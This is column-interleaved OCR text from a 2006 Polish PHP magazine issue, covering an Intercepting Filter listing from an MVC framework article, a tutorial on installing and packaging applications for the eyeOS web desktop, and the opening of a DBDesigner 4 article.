34 www.phpsolmag.org PHP Solutions Nr 3/2006


Wzorce projektowe Techniki

padku umieszczania kodu w pliku Front


Controllera powodujemy, że staje się Listing 6. Przykładowe implementacje wzorca Intercepting Filter
on charakterystyczny dla naszej aplika-
cji, jego kod przestaje być możliwy do interface InterceptingFilter
przeniesienia. W sytuacji, gdy na każdej {
stronie umieszczamy odpowiednie inclu- public function doPreProcessing(HttpRequest $request);
dy problem jest oczywisty – zawsze mo-
public function doPostProcessing(HttpRequest $request,
żemy zapomnieć to zrobić.
ModelAndView $modelAndView = NULL);
Kod, który napiszemy w includach,
czy też w Front Controllerze jest czę- public function doExceptionProcessing(HttpRequest $request,
ścią naszej aplikacji, a nie „ustanda- Exception $exception, ModelAndView $modelAndView = NULL);
ryzowanego API” frameworka, zatem }

z dużym prawdopodobieństwem przy


-------------------------------------------------------------
tworzeniu następnego projektu będzie-
my musieli go skopiować. A to ozna- class SessionFilter implements InterceptingFilter
cza, że nasza czerwona lampka powin- {
na się ponownie zapalić, zadając jed-
public function doPreProcessing(Request $request)
nocześnie pytanie: czy nie da się te-
{
go rozwiązać lepiej?. Oczywiście, że session_start();
tak. Z pomocą przychodzi nam wzo- }
rzec Intercepting Filter. Wzorzec ten
pojawia się w literaturze w dwóch od- public function doPostProcessing(Request $request,
ModelAndView $modelAndView = NULL)
mianach , w których filtry stanowią łań-
{
cuch i każdy filtr wywołuje swojego na- }
stępcę. Ostatnim filtrem jest najczę-
ściej akcja, którą chciał wykonać użyt- public function doExceptionProcessing(Exception $exception,
kownik. Druga implementacja, naszym Request $request, ModelAndView $modelAndView = NULL)
{
zdaniem bardziej odpowiednia, pokaza-
}
na jest na Listingu 4. Dla lepszego zro- }
zumienia, Rysunek 2 przedstawia dia-
gram sekwencji dla tej klasy. Teraz każ-
da akcja wykonana przez front kontroler wania użytkownika na stronę z infor- też temat dobrych praktyk, jakie należy
może zostać poprzedzona wywołaniem macją o czasowym niedziałaniu serwi- stosować programując obiektowo. Po-
filtra, na którym to zostanie wykonana su. Zwróćcie uwagę, że takich stron mo- wiedzieliśmy o tym, jak ważne jest stoso-
metoda doPreProcessing. Po wykona- że być wiele, tzn. jedna dla każdego ty- wanie nazwanych wyjątków i tzw. Trans-
niu akcji na tymże filtrze zostanie wy- pu wyjątku. Listing 6 przedstawia przy- fer Objects.
konana metoda doPostProcessing. Po- kładowe implementacji wzorca Intercep- W artykule nie udało się nam zamie-
nadto w przypadku, gdy pojawi się ja- ting Filter. ścić wszystkich przykładów, które poka-
kiś wyjątek, zostanie wykonana metoda zują prostotę i elastyczności naszego
doExceptionProcessing. W ten sposób Podsumowanie rozwiązania, dlatego pod adresem http://
utworzyliśmy jeden wspólny interfejs do W artykule pokazaliśmy, jak przy pomo- flexi.sourceforge.net/ umieściliśmy cały
implementacji czynności wykonywanych cy jednej z najbardziej podstawowych framework wraz z forum, na którym mo-
zawsze na końcu i początku skryptu. technik programowania obiektowego żecie wypowiedzieć się na temat nasze-
Udało się nam również stworzyć mecha- – kompozycji można zbudować aplika- go kodu. Kod umieszczony na WWW za-
nizm, który będzie reagował na wyjątki, cję o dużej funkcjonalności. Dzięki kom- wiera dużo więcej potrzebnych i intere-
i tak np. w przypadku filtru otwierające- pozycji osiągnęliśmy cel, o którym by- sujących przykładów. n
go połączenie do bazy i rozpoczynają- ła mowa w pierwszym artykule tej serii.
cego transakcję przed zamknięciem po- Klasa FrontControllerImpl ma prostą
łączenia, transakcja zostanie zrollbaco- implementację, jest zrozumiała i czytel-
wana. Metoda doExceptionProcessing na. Jednocześnie jest bardzo elastycz-
O autorze
jako jeden ze swoich parametrów pobie- na i przygotowana na rozbudowę. Tym
ra obiekt wyjątku, tak więc każda z im- samym zakończyliśmy budowę tej czę- Piotr Szarwas jest pracownikiem SUPER-
plementacji tej metody może w zależ- ści frameworka MVC. W następnym ar- MEDIA Interactive i doktorantem na wy-
dziale Fizyki Politechniki Warszawskiej.
ności od typu wyjątku zareagować w in- tykule powiemy więcej o akcjach. Od 2003 roku projektuje aplikacje WWW
ny sposób, co w połączeniu ze stoso- Poza rozbudową klasy Front Con- w oparciu o PHP4/5. Obecnie zajmuje się
waniem w kodzie nazwanych wyjątków trollera zaprezentowaliśmy dwa bardzo tworzeniem frameworka dla PHP oparte-
jest bardzo silnym narzędziem. Mecha- ważne wzorce programistyczne Adapter go na rozwiązaniach Hibernate i Spring.
Kontakt z autorem:
nizm ten można łatwo wykorzystać do i Intercepting Filter. Zgodnie z obietnica- piotr.szarwas@gmail.com
logowania wyjątków i do przekierowy- mi z pierwszego artykułu poruszyliśmy

PHP Solutions Nr 3/2006 www.phpsolmag.org 35


Narzędzia

Projekt eyeOS: rewolucja


w interfejsach webowych PHP
Stopień trudności: lll
Steven Mautone i Pau Garcia-Milà

Wyobraźmy sobie, że nasze aplikacje webowe


nie mają już surowego, sztywnego interfejsu.
Są elastyczne i umożliwiają uruchamianie
wielu aplikacji w jednym oknie przeglądarki
– w ramkach o dowolnym rozmiarze, które
można przeciągać, minimalizować i przywracać.
Wyobraźmy sobie pulpit WWW z paskiem zadań
i koszem na śmieci, dobrze znanym z KDE,
GNOME czy systemów MS Windows i MacOS.
To nie sen – to eyeOS, pierwszy graficzny
system operacyjny napisany w czystym PHP
i JavaScript.

C
elem projektu jest opracowanie wym rogu ekranu umieszczono małą ikonę
graficznego środowiska spełnia- umożliwiającą wylogowanie oraz zegar cy-
jącego wszystkie potrzeby infor- frowy pokazujący aktualny czas.
matyczne firm i użytkowników domowych
za pomocą PHP i serwera WWW. eyeOS Aplikacje, czyli
ma wszędzie i w każdej chwili zapewniać zamieniamy czarno-
dostęp do takich aplikacji, jak procesor biały TV na kolorowy
tekstu, terminarz, menedżer plików czy Kliknijmy w znajdującą się na belce apli-
komunikator. kacji ikonę z koncentrycznymi kręgami.
Pojawi się okno aplikacji eyeHome, od-
Uruchomienie eyeOS powiednika Mojego Komputera w MS
Po zainstalowaniu eyeOS (patrz Ramka In- Windows (Rysunek 1). Jak widać, jest
stalacja), np. w katalogu localhost/eyeos/, ono podzielone na dwa panele: lewy za-
uruchamia się go poprzez wprowadze- tytułowany Actions i prawy bez podpisu.
nie podstawowego URL w przeglądarce in-
ternetowej. Wyświetli się ekran logowa-
W SIECI nia, na którym można też wybrać język in- Co należy wiedzieć...
Powinieneś znać podstawy obsługi śro-
terfejsu. Po zalogowaniu zobaczymy ekran dowisk graficznych.
z ładną tapetą. U góry okna znajduje się bel-
1. http://www.eyeos.org
ka aplikacji (oficjalnie zwana dokiem aplika-
– strona domowa projek-
tu eyeOS cji) z ikonami: można tu wybrać jedną z wbu- Co obiecujemy...
2. http://www.eyeapps.org Po przeczytaniu artykułu będziesz wie-
dowanych aplikacji, które omówimy później, dział jak uruchomić i wykorzystać własny
– repozytorium aplikacji
eyeOS lub dodać nową za pomocą pomarańczowej system eyeOS.
ikony ze znakiem + po prawej. W dolnym le-

36 www.phpsolmag.org PHP Solutions Nr 3/2006


eyeOS – system operacyjny w PHP Narzędzia

miaru, stylu (pogrubiony, kursywa, podkre-


ślony), wyjustowanie tekstu, a także wpro-
wadzanie list uporządkowanych i nieupo-
rządkowanych, linii poziomych, tabel, ry-
sunków itd. Choć nie jest to pierwszy edy-
tor WYSIWYG w historii PHP (istnieje już
np. FCK), może on służyć jako przykład
możliwości eyeOS.
Jeśli chcemy ukryć edytor, wystarczy
kliknąć pierwszą ikonę w prawym gór-
nym rogu okna. Ikona aplikacji pojawi
się w dolnym lewym rogu ekranu, w doku
zminimalizowanych aplikacji, gdzie znaj-
dują się ikony wszystkich ukrytych dzia-
łających programów. Po najechaniu na
nie kursorem wyświetli się nazwa każ-
dej aplikacji, a kliknięcie przywróci okno
wraz z zawartością na ekran. Kliknię-
cie w okno eyeHome umieszczone za
oknem edytora spowoduje przeniesienie
go na pierwszy plan – tak, jak w innych
Rysunek 1. eyeHome – centralne miejsce systemu eyeOS
graficznych systemach operacyjnych.
Po lewej stronie można dodać nowy do- my to klikając dolną krawędź okna lub je- Tekst można również zapisać w katalogu
kument lub kontakt, wysłać wiadomość go górną część (belkę tytułową) i przecią- domowym w celu późniejszej edycji.
do wybranego użytkownika albo zainsta- gając je. Jest to funkcjonalność niespoty-
lować nową aplikację, czy przeczytać wła- kana dotąd w aplikacjach PHP. Inną no- Inne wbudowane aplikacje
sną pocztę. wością jest fakt, że te same czynności wy- Oczywiście wbudowane aplikacje to
Prawy panel pokazuje zawartość ka- konane na dolnym prawym rogu okna po- nie tylko eyeHome i eyeEdit. Sprawdź-
talogu domowego (pliki). Trzy ikony przy zwalają swobodnie zmieniać jego rozmiar my inne programy wyświetlone w doku
każdym pliku umożliwiają ich otwieranie, (jeżeli widoczna jest ikona zmiany rozmia- aplikacji:
pobieranie do lokalnego komputera oraz ru). Trzy przyciski w górnym prawym rogu
kasowanie. eyeOS pozwala także umiesz- służą odpowiednio do minimalizacji, otwie- • eyeCalendar – menedżer harmono-
czać własne pliki w katalogu domowym rania w trybie pełnoekranowym oraz za- gramów i notatek,
systemu. Usunięte pliki są przenoszone mknięcia okna. Operacje te są dostępne • eyePhones – menedżer kontaktów
do kosza, tak samo jak w MS Windows dla wszystkich okien, chyba że uniemoż- umożliwiający dodawanie szczegó-
czy KDE. Jeśli umieścimy coś w koszu, je- liwili je twórcy aplikacji. łowych informacji o osobach lub fir-
go ikona zmieni kolor. Zwróćmy też uwagę na dok aplikacji mach,
Zajmijmy się teraz oknami. Można je i podświetloną ikonę katalogu eyeHome. • eyeCalc – kalkulator,
dowolnie przemieszczać na ekranie. Robi- To samo dotyczy wszystkich otwartych • eyeMessages – systemowa usługa
programów systemu. Aplikacja eyeOS mo- przesyłania wiadomości przypomina-
Listing 1. Zawartość pliku proprie- że działać w trzech trybach: normalnym jąca lokalną pocztę elektroniczną lub
tats.xml – podstawowe parametry oknie, pełnym ekranie lub w trybie minima- funkcję prywatnych wiadomości na fo-
aplikacji SampleApp.eyeApp lizacji. Ikona w doku aplikacji zostanie od- rach dyskusyjnych,
powiednio podświetlona. Od wersji 0.8.x • eyeBoard – tablica ogłoszeń,
<?xml version="1.0"?>
<SampleApp>
systemu eyeOS wprowadzono także moż- • eyeNav – przeglądarka internetowa,
<title>Sample App</title> liwość jednoczesnego uruchamiania wielu
<version>v. 1.0</version> aplikacji, przy zachowaniu możliwości ich
<author>Pau Garcia-Milà</author> minimalizowania.
<window>
<height>700</height>
<width>575</width>
Edycja tekstu w eyeOS
<resize>no</resize> Przyjrzyjmy się bliżej wbudowanym w sys-
<fullscreen>no</fullscreen> tem aplikacjom. Po kliknięciu New Docu-
<x_pos>-1</x_pos> ment w oknie, które opisywaliśmy, lub w
<y_pos>-1</y_pos>
drugą ikonę w doku aplikacji u góry ekra-
</window>
<state />
nu pojawi się edytor tekstu WYSIWYG
</SampleApp> (Rysunek 3). Umożliwia on wybranie kil-
ku krojów czcionek i ustawienie ich roz- Rysunek 2. Działający pulpit eyeOS

PHP Solutions Nr 3/2006 www.phpsolmag.org 37


Narzędzia eyeOS – system operacyjny w PHP

• eyeOptions – narzędzie do konfigu-


racji systemu; umożliwia zmianę ta-
pety i motywu, ustawienie hasła i ho-
sta eyeOS oraz dodawanie i usuwa-
nie kont użytkowników (Rysunek 4),
• eyeInfo – informacje o twórcach ey-
eOS, otwartych aplikacjach oraz uży-
wanych wersjach systemu operacyj-
nego i PHP,
• eyeApps – menedżer aplikacji (poma-
rańczowa ikona ze znakiem +).

eyeNav to prawdziwa przeglądarka dzia-


łająca w oknie przeglądarki, pozwalająca
poruszać się po zasobach WWW. Moż-
na w niej nawet otworzyć kolejną sesję
eyeOS – razem z kalkulatorem urucho-
mionym wewnątrz zagnieżdżonego okna
eyeOS (Rysunek 5).
Rysunek 3. eyeEdit, edytor WYSIWYG napisany w PHP
Instalacja i usuwanie
aplikacji ry przypomina nieco programy Winamp bie systemowym (dla wszystkich użytkow-
Spróbujmy zainstalować nowe aplikacje. i XMMS. Wszystkie pakiety aplikacji dla ników), pliki zostaną umieszczone w folde-
Służy do tego, jak już wiemy, eyeApps (od systemu eyeOS mają rozszerzenie .ey- rze etc/apps/eyeAmp; w przeciwnym wy-
eyeOS w wersji 0.8.x). Najpierw jednak eApp.tar.gz. Spróbujmy zatem zainstalo- padku znajdą się w katalogu użytkownika
należy pobrać ze strony http://eyeapps.org wać pakiet eyeAmp.eyeApp.tar.gz.. Pobie- (usr/root/apps/eyeAmp).
odpowiednie pliki, które są podzielone na ramy go i uruchamiamy eyeApps (Rysu- Instalacja jest zakończona, jednak
kilka kategorii: Games (gry 2D i 3D, zwy- nek 6), które udostępnia dwie opcje: Ma- zapewne warto byłoby umieścić ikonę
kle napisane w języku Java), Multimedia nage Apps oraz Install Apps. Wybieramy eyeAmp na ekranie. Nie jest to proble-
(odtwarzacze), Office (arkusze kalkulacyj- oczywiście drugą z nich, klikamy przycisk mem – jedynym ograniczeniem jest fakt,
ne, programy graficzne itd.), Widgets oraz Browse i wybieramy plik. że maksymalna liczba widocznych ikon
Internet (aplikacje siecowe, na przykład Następnie możemy zdecydować, czy wynosi 10. Trzeba więc ponownie uru-
systemy chat). aplikacja będzie dostępna dla wszystkich chomić eyeApps, wybrać opcję Mana-
użytkowników, czy też wyłącznie dla aktu- ge apps i ukryć ikonę innej aplikacji. (na
Gra muzyka alnego użytkownika. Po kliknięciu strzałki przykład eyeBoard) przez jej odznacze-
Zainstalujemy odtwarzacz muzyczny z ka- aplikacja zostanie rozpakowana i zainsta- nie na liście. Następnie trzeba aktywo-
tegorii Multimedia o nazwie eyeAmp, któ- lowana. Jeśli wybraliśmy instalację w try- wać ikonę eyeAmp, kliknąć opcję Update
the configuration pod listą aplikacji i za-
mknąć okno.
Wymagania Spróbujmy uruchomić eyeAmp. Apli-
eyeOS wymaga serwera WWW z obsługą PHP. Zalecamy używanie systemów Linux/Un*x
z serwerem Apache 1.3.x lub 2.0.x oraz PHP 4.3.x albo 5.0.x. Działa on głównie w opar- kacja odtwarza muzykę w formacie
ciu o pliki i nie wymaga bazy danych. Konieczna jest jednak możliwość wysyłania plików i MP3, jednak pliki dźwiękowe muszą być
katalogów na serwer oraz posiadanie praw pozwalających na zmianę uprawnień do kata- umieszczone w katalogu domowym sys-
logów. Przeglądarka musi być zgodna ze standardami, a także obsługiwać CSS. Mecha-
temu eyeOS (np. /home/root) ręcznie lub
nizm graficzny eyeOS stosuje pliki PNG z kanałem alfa - aby optymalnie wykorzystać sys-
tem, przeglądarka powinna je obsługiwać. za pomocą funkcji wysyłania plików apli-
kacji eyeHome. Umieśćmy w katalogu do-
mowym kilka plików i odtwórzmy je (Rysu-
Instalacja nek 7). To naprawdę działa!
Pobieramy najnowszą wersję systemu eyeOS ze strony http://www.eyeos.org. Jest ona
obecnie dostępna w dwóch formatach plików: .tar.gz z kodem źródłowym i .exe z wersją Usuwanie aplikacji jest również bar-
MiniServer dla Windows. Pakiet eyeOS MiniServer zawiera miniaturową wersję serwera dzo łatwe. Po uruchomieniu eyeApps
Apache dla Windows oraz zmodyfikowaną przeglądarkę Firefox. i wybraniu opcji Manage Apps klikamy
Wersja .tar.gz również ma instalator: wystarczy rozpakować eyeOS do folderu w publicz-
ikonę usuwania (zielony X) po prawej
nym katalogu WWW i otworzyć w przeglądarce odpowiedni adres. Instalator zapyta o wy-
bór języka (dostępnych jest kilka wersji, m.in. angielska, polska, niemiecka, francuska i stronie aplikacji, którą chcemy odinsta-
włoska) oraz o hasło (z potwierdzeniem) użytkownika root. Po kliknięciu odnośnika Ad- lować, a następnie potwierdzamy wybór.
vanced Security Parameters (zaawansowane parametry zabezpieczeń) można ustawić Proces deinstalacji odbywa się automa-
między innymi takie opcje, jak nazwa użytkownika-administratora (domyślnie root), kata-
tycznie – aplikacja nie zostawi żadnych
log domowy (domyślnie home, a także katalogi, w których będą przechowywane wiado-
mości przychodzące, notatki i aplikacje. Po potwierdzeniu instalacji system będzie goto- plików – śmieci na serwerze. Nie można
wy do użytku. jednak usunąć aplikacji wbudowanych,
takich jak eyeCalc.

38 www.phpsolmag.org PHP Solutions Nr 3/2006


eyeOS – system operacyjny w PHP Narzędzia

System plików eyeOS


Przyjrzyjmy się bliżej strukturze sys-
temu eyeOS. Za pomocą dowolnego
menedżera plików lub polecenia sys-
temowego (ls w *niksach, dir w DOS/
Windows) można przeglądać system
plików eyeOS, złożony z następujących
katalogów:

• apps – wbudowane aplikacje,


• Docs – dokumentacja systemu,
• etc – aplikacje systemowe, motywy
i inne ustawienias,
• home – katalogi z danymi użytkow-
ników (tak jak w Linuksie), np. root;
umieszczane są w nich pliki wysłane
za pomocą eyeHome,
• system – właściwy system, łącznie
z podstawowymi narzędziami do in-
stalacji i konfiguracji oraz motywami
graficznymi, Rysunek 4. eyeOptions, panel konfiguracyjny eyeOS
• usr – kolejny katalog na foldery do-
mowe (takie jak root), w którym prze- Jak widać, system plików eyeOS jest • HOMEDIR – katalog z wszystkimi plikami
chowywane są nowo zainstalowane dość zaawansowany, a przy okazji do- użytkownika, (home)
aplikacje (poza wbudowanymi) dla brze rozplanowany. Przypomina nieco • USRDIR – katalog z plikami kontrolnymi
pojedynczych użytkowników, wiado- linuksową lub *niksową hierarchię kata- użytkownika (usr),
mości przychodzące, książka telefo- logów. • ROOTUSR – nazwa użytkownika root
niczna i wpisy kalendarza, notatki, (root),
a także osobisty kosz. Rdzeń eyeOS • USRINFO – nazwa pliku z parametrami
Zapoznajmy się bliżej z innymi funkcja- użytkowników (usrinfo.php),
W katalogu głównym znajdują się rów- mi, ukrytymi głęboko w systemie eyeOS. • MSGDIR – nazwa katalogu z wiadomo-
nież trzy pliki: index.php (strona głów- Jego rdzeń (część główna) został napi- sciami (Inbox),
na), desktop.php i sysdefs.php. sany w PHP, ale już sam interfejs jest re- • NOTEDIR – nazwa katalogu z notatkami
alizowany przez kod HTML, który gene- (eyeEdit,)
ruje kod stworzony w PHP. • SYSAPPS – nazwa katalogu z zainsta-
Historia i rozwój Na wszystkich stronach do zarządzania lowanymi aplikacjami ogólnosyste-
systemu eyeOS funkcjami okien eyeOS wykorzystywany mowymi (etc/apps/),
Projekt eyeOS powstał we wrześniu
jest JavaScript.
2004 r. jako pomysł na stworzenie we-
bowego systemu operacyjnego. Wer- Wszystkie dane rdzenia eyeOS są W tym samym pliku znajdują się także
sja alfa została wydana 1 sierpnia 2005 przechowywane w strukturze XML. SYs- ustawienia systemu okien:
r. Od tego czasu projekt niezwykle się tem eyeOS ma własne funkcje XML, po-
rozwinął. Aktualna wersja 0.8.10 zbliża
nieważ obsługa XML (a dokładnie sim- • WINDOW_HEIGHT – wysokość (200),
projekt zwany przez członków zespo-
łu Web Desktop Environment do peł- pleXML) jest dostępna tylko w najnow- • WINDOW_WIDTH – szerokość (350),
nego wykorzystania możliwości tech- szej serii – PHP5, a twórcy XML chcie- • WINDOW_START, WINDOW_INC – pozycje
nologii AJAX. li także zapewnić obsługę XML przez zmiennych okien (60, 40),
Następna wersja eyeOS będzie całko-
PHP4. Znaczniki te są dostosowane do • SYSFMT_DATE – format daty systemowej
wicie oparta na tej technologii (pisali-
śmy o AJAX w artykułach „AJAX – wy- eyeOS, jednak nie nadają się do ogól- (d/m/Y = dzień/miesiąc/rok),
jątkowo interaktywne i wydajne aplika- nych zastosowań. • SYSFMT_TIME – format czasu systemo-
cje WWW” oraz „advAJAX, czyli prak- Jak już wiemy, podstawowe defini- wego (H:i = godzina:minuta),
tyczne zastosowanie technologii AJAX”
cje systemu są przechowywane w pliku • MAXICONS – maksymalna liczba ikon
w numerze 1/2006 magazynu PHP So-
lutions), co pozwoli na znaczne zwięk- sysdefs.php, który znajduje się w katalo- (11).
szenie wydajności systemu (np. unik- gu głównym eyeOS. Są to stałe zdefinio-
nięcie ponownego ładowania całe- wane za pomocą wyrażenia define(). Ich Pulpit eyeOS, podobnie jak pulpit w trady-
go pulpitu, co ma miejsce choćby pod-
domyślne wartości są następujące: cyjnych systemach, można całkowicie do-
czas zmiany używanej aplikacji). Na-
stępne wydanie eyeOS będzie dodatko- stosować do indywidualnych potrzeb, od
wo zawierać kompletne API do tworze- • SYSINFO – nazwa pliku z parametrami ekranu logowania po menedżer okien. Ta-
nia aplikacji. Zespół eyeOS jest w trak- systemu, (etc/system.php) ka elastyczność pozwala użytkownikom
cie przygotowywania odpowiedniej do-
• BBOARD – plik forum dyskusyjnego tworzyć własny pulpit, zgodny z wymaganą
kumentacji.
(etc/taulell.php), funkcjonalnością i osobistymi preferencjami.

PHP Solutions Nr 3/2006 www.phpsolmag.org 39


Narzędzia eyeOS – system operacyjny w PHP

Przykładowa aplikacja SampleApp.


eyeApp powinna zawierać plik propie-
tats.xml w takiej postaci, jaką przedsta-
wiono na Listingu 1.
W rzeczywistości wszystkie te infor-
macje są opcjonalne, ponieważ system
użyje wartości domyślnych dla wszyst-
kich niezdefiniowanych pól – konieczne
jest tylko, aby plik ten istniał.
Niektóre ogólne cechy plików XML
systemu eyeOS są następujące:

• Wartości atrybutów muszą być po-


dawane w pojedynczych lub po-
dwójnych cudzysłowach, w prze-
ciwnym wypadku zostaną zignoro-
wane.
• Niepoprawne dane wejściowe są od-
rzucane bez komentarza.
• eyeOS nie rozróżnia wielkich i małych
Rysunek 5. Okno przeglądarki z kalkulatorem umieszczone w innym oknie przeglądarki liter w nazwach znaczników, ale par-
ser dopasuje znaczniki otwierające do
Tworzenie własnych • applic.php – kod aplikacji (plik główny; zamykających wyłącznie wtedy, gdy
pakietów aplikacji inne pliki są również dozwolone). będą identyczne.
eyeOS • Znaczniki i atrybuty są traktowane jed-
Proces tworzenia pakietu instalacyjnego Wszystkie wymienione pliki są konieczne, nakowo – kod z Listingu 1 może rów-
z nową aplikacją (eyeApp) jest całkiem aby aplikacja została rozpoznana przez nież wyglądać następująco:
prosty. Wystarczy tylko umieścić pliki eyeOS.
w katalogu o nazwie NAZWAAPLIKACJI. <Sample title='Sample App'
eyeApp i skompresować go w pliku .tar.gz Ustawianie najważniejszych version='v. 1.0'
o nazwie w formacie NAZWAAPLIKACJI. parametrów aplikacji author='Pau Garcia-Milà'>
eyeApp.tar.gz. Zajmijmy się plikiem propietats.xml. W <window height='700' width='575'
Jednak przed kompresją katalogu mu- nim właśnie definiujemy parametry uży- noresize='1' nofullscreen='1' x_pos='-1
simy umieścić w nim podstawowe pliki wane przez system podczas tworzenia y_pos='-1' /
aplikacji eyeOS. Każda aplikacja wymaga okna aplikacji. Można go także użyć do <state />
obecności pięciu plików: podawania kodowi aplikacji danych o pa- </Sample>
rametrach.
• ico_a.png – ikona minimalizacji; po-
jawia się w belce zminimalizowa-
nych aplikacji. Aby móc tworzyć iko-
ny zgodne z domyślnym motywem
ikon eyeOS, należy pobrać ze strony
projektu (http://www.eyeos.org/docs/
eyeOS_Icon.xcf) plik .xcf do obróbki w
programie Gimp, zawierający wszyst-
kie potrzebne warstwy.
• ico_b.png – ikona aktywnej aplikacji;
grafika ta jest wyświetlana na belce
ikon. Podczas tworzenia tej ikony za-
lecamy stosowanie wyższych warto-
ści alfa niż w przypadku ico_c.png, co
pozwoli odróżnić aplikację aktywną od
nieaktywnej.
• ico_c.png – ikona aplikacji nieaktyw-
nej, wyświetlana w doku aplikacji. Za-
lecamy wartość alfa 50%.
• propietats.xml – parametry związane
z określoną aplikacją, które omówimy
później. Rysunek 6. eyeApps, narzędzie do zarządzania aplikacjami systemu eyeOS

40 www.phpsolmag.org PHP Solutions Nr 3/2006


eyeOS – system operacyjny w PHP Narzędzia

obiektu iframe, należy umieścić w kodzie


następujące wiersze:

echo "<iframe src='".$appinfo['appdir'].


"NAZWASTRONY.htm'" style='width:
XXpx; height: YYpx' frameborder='0'>
</iframe>";

Oczywiście NAZWASTRONY musi być za-


mieniona na nazwę pliku HTML, który
ma być umieszczony, XX należy zastąpić
szerokością obiektu iframe, a YY jego wy-
sokością (oba wymiary powinny być o kil-
ka pikseli mniejsze od rozmiaru okna).
Aby zakończyć tworzenie pakietu, wy-
starczy skompresować do pliku .tar.gz pięć
plików aplikacji (razem z dodatkowymi pli-
kami, jeśli istnieją) umieszczonych w kata-
logu NAZWAAPLIKACJI.eyeApp.

Rysunek 7. eyeAmp – odtwarzacz MP3 Podsumowanie


Udowodniliśmy, że eyeOS wnosi nową
• Plik The propietats.xml jest ładowa- • Znaczniki definiujące pozycję w pio- jakość graficznego interfejsu użytkowni-
ny wyłącznie podczas startu aplika- nie i poziomie (x-pos i y-pos) mogą ka do świata PHP. Odtwarzacze multime-
cji. Dodatkowo jeżeli USRDIR aktualne- być użyte do poprawienia początko- diów, edytory tekstu, chaty, fora dyskusyj-
go użytkownika zawiera plik XML o na- wej pozycji okna. ne, aplikacje CMS, ERP czy CRM – nie
zwie takej samej, jak nazwa aplikacji, • Domyślne wartości -1 znaczników ma takiej aplikacji PHP, której nie dałoby
to jest on również odczytywany i doda- x-pos i y-pos powodują, że okno jest się przekonwertować do systemu eyeOS.
wany do danych aplikacji. Jeśli obiekty otwierane przy górnej lewej krawędzi W ciągu najbliższych kilku lat pojawą się
się dublują, pierwszeństwo ma wersja ekranu, zaś kolejne okna bez usta- tysiące aplikacji wykorzystujących eyeOS,
USR. Nazwa głównego znacznika w wionej pozycji są otwierane w stałej biorąc pod uwagę fakt, że pracuje nad tym
zasadzie nie jest używana, warto jed- odległości od poprzednich. aktywna i dobrze zorganizowana wspólno-
nak zdefiniować nazwę aplikacji, dzięki ta eyeOS. Precz z przestarzałymi, topor-
czemu będzie wiadomo, jaka aplikacja Kompletna struktura aplikacji jest okre- nymi, niewygodnymi i niewydajnymi inter-
jest definiowana. Należy zwrócić uwa- ślona w pliku applic.php. Plik powinien fejsami webowymi. Niech żyje rewolucja
gę, że w danych aplikacji USR nazwa rozpoczynać się od wyrażenia PHP/eyeOS!
główna musi być taka sama, jak w pli- W następnym numerze zbudujemy
ku propietats.xml. if (!defined ('USR')) return; aplikację dla eyeOS, przy okazji pokazu-
• Informacje są zapisywane w wewnętrz- jąc mechanizmy rządzące systemem. n
nej strukturze eyeOS, appinfo, do cza- Dane systemowe oraz dane konkretnych
su zakończenia działania aplikacji. aplikacji są podawane jako zmienne glo-
• Tytuł jest opcjonalny. Jeżeli jest okre- balne. Pierwszą zmienną jest $appinfo[]
ślony i nie jest pusty, zastępuje nazwę – tablica zawierająca dane aplikacji i sys- O autorach
aplikacji wyświetlaną u góry okna. temowe, pobierane głównie z pliku propie-
Steven Mautone rozpoczął swoją pracę
• Wartość pola informacji o wersji (jeśli tats.xml. Na przykład appdir określa ka- z Internetem od tworzenia serwisów dla
zdefiniowana) jest dodawana do tytu- talog z plikami aplikacji. Jest ona później małych firm. Obecnie kończy pracę ma-
łu okna. używana do inkluzji innych plików PHP gisterską na Indiana University. Steven
• Podstruktura okna definiuje jego atry- z katalogu aplikacji: jest business managerem projektu ey-
eOS, dba o ekspansję systemu eyeOS.
buty. Zwykle wymagane są wysokość
i szerokość, ale jeśli jednej z warto- include $appinfo['appdir'].'CODEFIL Pau Garcia-Milà od wielu lat tworzy por-
ści brakuje, ustawiane są domyślne E';, tale internetowe. Jeden z nich, www.pam-
wartości systemowe (podane w sys- tomaket.com, otrzymał wsparcie od rządu
Catalonii i posiada około 1400 użytkowni-
defs.php). gdzie CODEFILE jest nazwą tego pliku. ków. Pau studiuje obecnie Nauki Kompu-
• Jeśli atrybut zmiany rozmiaru nie jest Zauważmy, że jeżeli strona zawiera terowe na Politechnice Uniwesytetu Cala-
pusty, zaleca się stosowanie wartości nagłówki HTML (<html><head>...</head>...) tonii (upc.edu). Jest głównym dewelope-
'no'. lub wymaga plików CSS, powinna ona być rem projektu eyeOS, skupia się na rozwi-
janiu rdzenia systemu.
• Jeśli atrybut pełnego ekranu nie jest umieszczona jako obiekt iframe – w prze-
pusty, zaleca się stosowanie wartości ciwnym razie system zarządzania okna- Kontakt z autorami: team@eyeos.org
'no'. mi eyeOS zostanie uszkodzony. Aby użyć

PHP Solutions Nr 3/2006 www.phpsolmag.org 41


Narzędzia

DBDesigner 4 – odpowiednik
Oracle Designera
Stopień trudności: lll
Pierre HEBEL

Poprawne modelowanie danych jest gwarancją


(tak jak przemyślane programowanie)
skuteczności podczas formuowania zapytań do
Waszej bazy danych. DBDesigner 4 pozwala,
szczególnie na dużych strukturach danych, mieć
globalny, graficzny i bardzo precyzyjny widok
organizacji danych na jakich pracujemy.

D
BDesigner jest narzędziem gra- umożliwia import takich plików, a tak-
ficznym, które wspomaga analizę że pomoże nam w zaprojektowaniu ba-
istniejącej bazy danych lub kon- zy w MySQL-u oraz włączeniu do niej
cepcji nowej i współpracuje z PHP i My- struktury istniejących danych.
SQL-em. Pokażemy to na konkretnym,
z życia wziętym przykładzie: przenosze- Interfejs użytkownika
niu danych ze starego systemu bazoda- DBDesigner 4 ma wygodny w obsłu-
nowego. dze, intuicyjny interfejs okienkowy, po-
zwalający na szybkie zaznajomienie
Problematyka się z aplikacją. Przedstawiamy go na
Pewne przedsiębiorstwo aktualizu-
W SIECI je swoje oprogramowanie bazodano-
Co należy wiedzieć...
we, które zostało napisane w Cobolu i Wymagana jest podstawowa umiejęt-
działa na maszynach typu Mainframe. ność pracy z PHP i MySQL-em. Przy-
1. http://www.fabforce.net datna będzie również choćby minimalna
– oficjalna strona
Zmiana będzie polegała na zastąpieniu
wiedza teoretyczna na temat relacyjnych
DBDesigner 4 starych aplikacji nowymi przy zachowa-
baz danych.
2. http://dev.mysql.com/tech- niu danych oraz ich struktury. Nie wie-
resources/interviews/mike-
my jeszcze, jakich konkretnie aplikacji
Co obiecujemy...
zinner.html Pokażemy, jak przy użyciu DBDesigne-
– wywiad (po angielsku) będziemy używali, poza tym, że obsłu- ra stworzyć model bazy danych i uczy-
